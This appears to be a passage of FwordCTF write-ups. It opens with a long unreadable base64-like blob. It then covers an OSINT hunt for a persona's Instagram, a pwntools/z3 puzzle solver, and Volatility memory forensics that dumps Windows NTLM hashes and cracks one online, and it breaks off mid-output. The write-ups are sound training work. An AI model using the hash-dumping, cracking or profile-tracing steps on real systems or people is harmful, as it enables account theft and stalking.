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Having this image, I tried to EXIF it, I tried to search it using the free available reverse image search websites used for OSINT (Google, Bing, Yandex, Tineye) but I was always failing.
Seeing the image it looks like it was shared in a social media network but since we know that not all the shared images are indexed by the search engines so this makes sense. And that's why this part was the most difficult part for me.
And that's where comes the Google dorks tricks. The only thing that we know about this image apart the fact that it seems to be shared on a social media network is it was promoting Hilton hotel.
So by searching for any relation between Eword and Hilton hotel, we can find something that can lead us to the Eword leader.
I tried several search queries until I was satisfied with this one: ``"eword" hilton hotel``.
I accessed that [link](https://www.tripadvisor.com/Hotel_Review-g304088-d600703-Reviews-Hilton_Podgorica_Crna_Gora-Podgorica_Podgorica_Municipality.html) and I searched for that review.
Someone with the name `Wokaihwokomas Kustermann` wrote that feedback on 26/08/2020 which matches with the task time range.
I inspected his profile to make sure I'll not be missing anything.
I found that he was recommending to check his instagram profile.
So, by searching for `Wokaihwokomas Kustermann` on Instagram, I found his profile: [https://www.instagram.com/wokaihwokomaskustermann/](https://www.instagram.com/wokaihwokomaskustermann/)
There was only a shared story that is identical to the image that we were searching for.
In this step, I was stuck again with no other hint because we don't know whether another detail was removed or how can we find the flag until I found that there was another story that I was missing after watching the first story.
Knowing that the user mentioned about a square shaped image and that the Instagram was only showing circular shaped images, I thought about inspecting the image using the Browser's inspection tools (right click -> inspect the element -> select the image -> see the source code of that image -> retrieve the image link -> open it in a new tab).
After doing this, I found the square shaped image.
And the flag was in the part of the image that was hidden by the circule. But the actual image was small. So after failing to retrieve a bigger image by tweaking the URL, I asked Google for a website that retrieve the Instagram profile image in HD. And that's how I found [http://izuum.com/index.php](http://izuum.com/index.php).
I used the Instagram username `wokaihwokomaskustermann` to search for that user.
And the website got me a great HD image.
Full image:
So the flag is : ```Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}```___
## Secret Array
**Category:** Misc**Points:** 283**Author:** KOOLI**Description:**
> ``nc secretarray.fword.wtf 1337``
**Hint:**
>(no hint)
### Write-up
When we execute that command we will get the following output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:```
The first thing I thought about was to find how much requests do we need to send to the service to be able to solve the problem and then we need to find how we can do this with coding.
For the problem resolution, I though about an array of 4 elements "a0 a1 a2 a3".
To get the values of each element using sum, we need 4 operations as follow:
```a0 + a1 = x1a1 + a2 = x2a2 + a3 = x3a3 + a0 = x4```
Where x1, x2, x3, x4 are known since the service is returning the sum value of the 2 indexes's values.
I tried to solve this issue as a system of 4 equations using substitution but I failed since I found 2 unknown elements instead of 1. But hopefully my friend Likkrid gave me a better solution which is solving this system using subtraction and it was successful to identify the 4 element's values.
Now, coming to the implementation of this solution, also my friend Likkrid recommended me the usage of Z3Py Python's library to solve the system of 1337 equations after retrieving the 1337 sums from ``a0 + a1 = x1`` until ``a1336 + a0 = x1337``.
The python script is available here for download: [solver.py](resources/misc-283-secret_array/solver.py).
```python#!/usr/bin/python
from pwn import *import z3import time
r = remote('secretarray.fword.wtf', 1337)s=z3.Solver()print r.recv(1024).decode()for i in range(0,1337): print i if i<1336: #print "send",str(i)+" "+str(i+1) r.send(str(i)+" "+str(i+1)+"\n") time.sleep(0.3) result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") exec("a"+str(i+1)+" = z3.Int('a"+str(i+1)+"')") #print "a"+str(i)+"+a"+str(i+1)+"=="+(result if result else "0") s.add(eval("a"+str(i))+eval("a"+str(i+1))==(result if result else "0")) else: #print "send",str(i)+" 0" r.send(str(i)+" 0\n") result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") #print "a"+str(i)+"+a0=="+(result if result else "0") s.add(eval("a"+str(i))+a0==(result if result else "0"))
s.check()#print smodel=s.model()results="DONE"#print "model",s.model()for i in range(0,1337): for j in model: if str(j)=="a"+str(i): #print "a"+str(i),str(int(s.model()[j].as_string())) results=results+" "+str(int(s.model()[j].as_string())) break
print results.strip()print "length of the solved system:",len(model)print "length of the array's results:",(len(results.strip().split(" "))-1)r.sendline(results.strip())time.sleep(1)print r.recv(1024)time.sleep(1)print r.recv(1024)```
There was only one trick that took too much time for me since I was used to work with the socket module, when I switched to use the pwn library I though that I don't need to make a time.sleep() for some milliseconds between the send and the receive methods but I was wrong because I executed the script from my VPS and the execution was fast and then if I don't wait for few milliseconds, the response will be empty which is wrong because the sum of two values can't be empty.
Execution:
```pip install z3python resources/misc-283-secret_array/solver.py```
Output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:
DONE 882074565321339936426015270379 237041015714489603612749676508 735942283250970902894619135353 769570036365545998247560462307 358093366869922753604064191300 846812717969782586805050398135 771379174273997375923375988136 845526135789468431659086245474 477791916351688485715808163421 930800022720554491827637381853 999680091758310368643053583247 185945425567046216916616774069 548193655183144633560074943563 163752110560858844552559735982 809842278452854024213944401092 63126344576603515440990266173 536350367473602539710322449253 525462551993088197896204616527 26019307559619217233165889413 678246541222209847683426708404 167054566499878283767854112298 916863491983612669627714467522 866512119618168022431575287281 770282663120238719909449412558 17698011785127051934722174676 506436276178844828479355460241 364507445837389480829388693850 478243457358118782184551240191 362975449994850307878734077277 79416040862228597622670674493 699077959961321297097958555541 130680171721974811938831602523 722515733623057407531977068408 107110915537337340060758847050 871110456327373561058599133909 611700338371288519255305243723 112673304125406355771774003309 762357586707245483109415383542 473037716896162891865834111648 740988990443440669824613608664 132974380384295544030922942914 346655317633097728910436731104 614175703481719543947471337448 940327256050181059304565050028 92945322674000115891190969652 756956538466667341515036830304 977968684457121762228769933357 598942068709425688550258832779 324906743907409720909632527601 909377161189362510289040596381 593442764175779833425616880670 561516492415921938020525334341 299753763953982600112038009288 197202020200224694235915672845 37794227392414548309250547977 281027881570422623221283625822 799204368907457904727116559248 715428685855001604030787325645 309449422141621428318215223454 779861727503038071427138491191 230630241891245494630102199976 9049080132892488645574763422 786762453386287856472273846665 137406037157133043239611688883 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822375043495619761944861519972 663938619063978495874534834345 40184497331922613496528896982 96651341380806265055474742874 569211944761523188530335729078 971491789720261837699473149857 254033039225053644540777318794 371156987971994144222102427298 552233116200014493678918980023 295459004571278043471775113460 950978351365370226190276337993 981972113953125635095554684819 613392171688095343155266810068 988275256454056707386297496228 919910555715929711990294816395 331680416523012150626813995335 963232569635654894073660210351 378461391306022088434725883167 316219840943194091938654131212 157512800707788303899932151960 793462598722149854189459084942 256099570333236145647875306720 238058337137510317129380168362 242947508893064843775147012487 355320875075702456560544935910 471720331065228718591151571789 856169934005128050600519143797 762370916267869447841214329775 993497962482866211028442298733 518561856792546361582760006136 934075525612376978469662883465 160688877960374040067371985843 973542555968500011203270234868 88513080626526601524818265680 833399114577064164200268563963 232543573511967780353703533171 455181386149195687299712226144 308446550861526289691728628362 99683459694801711581944899388 222369143008725108925087195114 226219048896373494184984854648 817515322505071092635037120986 899693382866294023980688240950 731109737363403999778146313080 11585470531432868034409927654 136721108925187832179663343748 218878454138049014632641644208 45104610801363569584573818024 851638154958299987223574979535 935787731071096314044356630936 199344643203186247839062040378 350298114459809030350407362547 651368717836769007386669135246 13028300112227873068369382521 649389926758277386390477590247 716694316274712481603063809528 767497805573565697452081904246 859594127311603453471419870328 276718585843138550045242482694 270621350223690805039458346945 882851846997715676030915445671 147005932316573640625222262011 962516221675048249633600651629 142999206798927755202714417658 338200118833517293913753254916 353098332975450794695193115 639478587546889035706931903789 366145572990290817504253243808 236859816134096904531980956369 620301594115009808900583045657 564535132847643655642550460388 811156700605859198651865779342 108904490543477846116268259176 274369000018543911083971966870 211342207540341813623129073575 836568815727517896518486764181 884348990498573834839211617570 593425938551729097391923014648 411037282463745057638164724823 600542128338055767718737414543 619640229138641535067155175976 731138028985627775699092095137 246193990179001270376162138712 208483119190770132573196314847 60591061497789870188479749934 436255610130837936459965578659 219743496983603140147945414467 744434158934620122833172608058 297791851944965194060885237858 848171872645101850536943202147 691230917428178059150656826222 331920949616804993977431744890 188990626823473771669970835999 853999549222615574184160676988 426581830899883056330939694164 545850379624256644845417041609 206898714949998847882049316749 600922036266170588860811406626 445002578839372149073202934779 755505079281341703455242086034 554606046321292646018328308518 491410644121221167022973999466 886696421014164059657453156938 576684874184284920761216930687 28114959744965733022489049473 659371544578249015018260378126 686436413399263391028400347672 771582766634625860183378734250 43329803301088231785420738668 789390880428603995835220996975 95843761289134737380026726699 607657307608983959987793684791 763121036629216863027308575507 695752976863908234000425941210 183999126076091342937557825072 186793675528356887821897344540 631935025165038205571818923602 383364014052929057642436213844 621462173523727407826051431420 700856283608651796441558150148 679621261248938156795682471846 600889020839385789386043404419 703498046477358151065837099150 314309051704298644258317809945 967436130406043633721122296572 676212954323956018309058930527 4547530505855250748483917847 100983845147693432085059458528 339251519149008894109778821343 934807106956215360626560110582 594674598731630275002896465473 770757954082647400726968112798 830319874196252178510311404372 377307643453627105959902092172 206638680410448733374377548806 543720335249845648279763661454 575989636871937725494011151161 993996327375586192236148860884 577478486887548168530074351040 114525249759655970691246808929 212383832894687559057036388929 527304494711982532132925552980 575980820709482598803802344541 534140669749849341436494824420 498999534125566963963524431887 660323975112393443004221199345 136629325692913249617390911371 856225685842457891207581210261 382236217025931865524266457446 916981812634971935362102424803 650983817935982166075501250565 520076012018861617944862841325 568070785815492613119797767124 929426002688656730578655495848 388641364576174208975578118486 754288805782329904072629271858 7539529998150599043771503290 515315771436238056833360898841 635826131846738367904626878837 129977530055197841755264624480 770035583613709893150835726905 95291150541467317217156613056 896815536680583446585133872931 688305357073982731630616328867 820844341017741039208950587295 104243593710255300826694436541 770267178982348671718915014437 524817130634272459917249808264 881596592942006529423155080660 460809554977471557874987038531 552203073934971154805289618652 285558583844299518782868746962 771687664263005438473545038546 309699046605439403872809056495 87421934777919000650262780503 460648873139398989670353918314 303755726335676951211719118271 642134713029850585247460120104 994587367824415577394910764431 610301661262474430002645397045 581907927596193338287675038489 263071432306564437305700089331 1323602499525101762283093077 238040809388633067114571632443 750262249497683926277729712036length of the solved system: 1337length of the array's results: 1337
Congratualtions! You guessed my secret array, here is your flag: FwordCTF{it_s_all_about_the_math}```
So, the flag is ```FwordCTF{it_s_all_about_the_math}```___
## Memory
**Category:** Forensics**Points:** 73**Author:** SemahBA & KOOLI**Description:**
> Flag is : FwordCTF{computername_user_password}
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
In this task, we have a memory dump that we need to analyze in order to get the flag according to what the author needs.
Before starting this task, we have to extract the memory dump from the compressed file using `7z e foren.7z` and we will work on the extracted file `foren.raw`.
The first thing that we need to do when analyzing an unknown memory dump is to identify its profile.
```volatility -f foren.raw imageinfo```
Output:
```Volatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/root/fword/foren.raw) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c48120L Number of Processors : 4 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c4a000L KPCR for CPU 1 : 0xfffff88002f00000L KPCR for CPU 2 : 0xfffff88002f7d000L KPCR for CPU 3 : 0xfffff880009af000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-08-26 09:22:27 UTC+0000 Image local date and time : 2020-08-26 02:22:27 -0700```
There was multiple suggested profiles but I picked one of them which is `Win7SP0x64`.
Personally, I followed this tutorial for the first part of this task to identify the hostname just to avoid taking the full credits for solving this task: [Volatility/Retrieve-hostname](https://www.aldeid.com/wiki/Volatility/Retrieve-hostname).
By following the previous tutorial, we need to list the hives of that memory dump in order to use the right offset to extract the hostname.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
As we can see the `\REGISTRY\MACHINE\SYSTEM` is located on `0xfffff8a000024010`.
We will use the Virtual address offset as a reference to extract the registry key value that contains the machine hostname.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName'```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \REGISTRY\MACHINE\SYSTEMKey name: ComputerName (S)Last updated: 2020-08-25 16:20:54 UTC+0000
Subkeys:
Values:REG_SZ : (S) mnmsrvcREG_SZ ComputerName : (S) FORENWARMUP```
So, the hostname is `FORENWARMUP`.
But we still have 2 other parts to extract which are the username and his password.
And also for the next steps, I followed the following tutorial to do this: [Volatility/Retrieve-password](https://www.aldeid.com/wiki/Volatility/Retrieve-password)
And the missing step was obvious because the user's hashes are stored in the `\SystemRoot\System32\Config\SAM` file.
```volatility -f foren.raw --profile=Win7SP0x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a0014da410```
Output:
```Volatility Foundation Volatility Framework 2.6Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::fwordCTF:1000:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:514fab8ac8174851bfc79d9a205a939f:::SBA_AK:1004:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::```
And that's how we get the usernames and their password's NTLM hash that need to be cracked.
The first time, I though the user that we are searching for is `fwordCTF`. So, I cracked his password using [https://crackstation.net/](https://crackstation.net/).
Input: `a9fdfa038c4b75ebc76dc855dd74f0da`
So, the password is `password123`.
But since the flag ``FwordCTF{FORENWARMUP_fwordCTF_password123}`` doesn't work, I double remembered that in the output of ``volatility -f foren.raw --profile=Win7SP0x64 hivelist``, there was the only available user that is located under `\??\C:\Users\` is `SBA_AK` which could be the real user that we are looking for because SBA and AK are the acronyms of the 2 authors of this task. And since both the users `fwordCTF` and `SBA_AK` have the same NTLM hash, I tried the following flag and it worked.
So, the flag is ```FwordCTF{FORENWARMUP_SBA_AK_password123}```___
## Memory 2
**Category:** Forensics**Points:** 379**Author:** Semah BA & KOOLI**Description:**
> I had a secret conversation with my friend on internet. On which channel were we chatting?
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the channel where the author had a secret chat conversation with his friend.
This reminded me to inspect the processes list and to check which process seems to be used for chatting (obviously a web browser) and then to retrieve the channel from there.
I found a useful tutorial for few commands that I needed to list the captured processes: [First steps to volatile memory analysis](https://medium.com/@zemelusa/first-steps-to-volatile-memory-analysis-dcbd4d2d56a1).
I tried the following command.
```volatility -f foren.raw --profile=Win7SP0x64 pstree```
Output:
```Volatility Foundation Volatility Framework 2.6Name Pid PPid Thds Hnds Time-------------------------------------------------- ------ ------ ------ ------ ---- 0xfffffa801af105c0:explorer.exe 1000 1332 31 896 2020-08-26 09:11:21 UTC+0000. 0xfffffa801b024780:WzPreloader.ex 2264 1000 6 123 2020-08-26 09:11:21 UTC+0000. 0xfffffa801adeaa40:mspaint.exe 1044 1000 7 133 2020-08-26 09:20:28 UTC+0000. 0xfffffa801aca4060:chrome.exe 3700 1000 33 986 2020-08-26 09:12:48 UTC+0000.. 0xfffffa801af86b00:chrome.exe 2560 3700 13 337 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019ac0640:chrome.exe 3992 3700 14 216 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8018e55b00:chrome.exe 3304 3700 8 231 2020-08-26 09:12:50 UTC+0000.. 0xfffffa8019b5b5f0:chrome.exe 540 3700 13 171 2020-08-26 09:13:21 UTC+0000.. 0xfffffa801ab9c750:chrome.exe 3752 3700 8 93 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019b60060:chrome.exe 3816 3700 13 195 2020-08-26 09:13:22 UTC+0000.. 0xfffffa8019a5b360:chrome.exe 3528 3700 11 209 2020-08-26 09:12:55 UTC+0000.. 0xfffffa8019b2ab00:chrome.exe 616 3700 26 332 2020-08-26 09:13:21 UTC+0000.. 0xfffffa8019b6fb00:chrome.exe 2516 3700 17 294 2020-08-26 09:13:32 UTC+0000. 0xfffffa8019bf7060:DumpIt.exe 1764 1000 2 52 2020-08-26 09:22:18 UTC+0000 0xfffffa801a74db00:wininit.exe 388 348 3 84 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a74e7e0:services.exe 488 388 8 232 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801aaba450:svchost.exe 3308 488 14 339 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801abff060:svchost.exe 1240 488 18 311 2020-08-26 09:10:29 UTC+0000.. 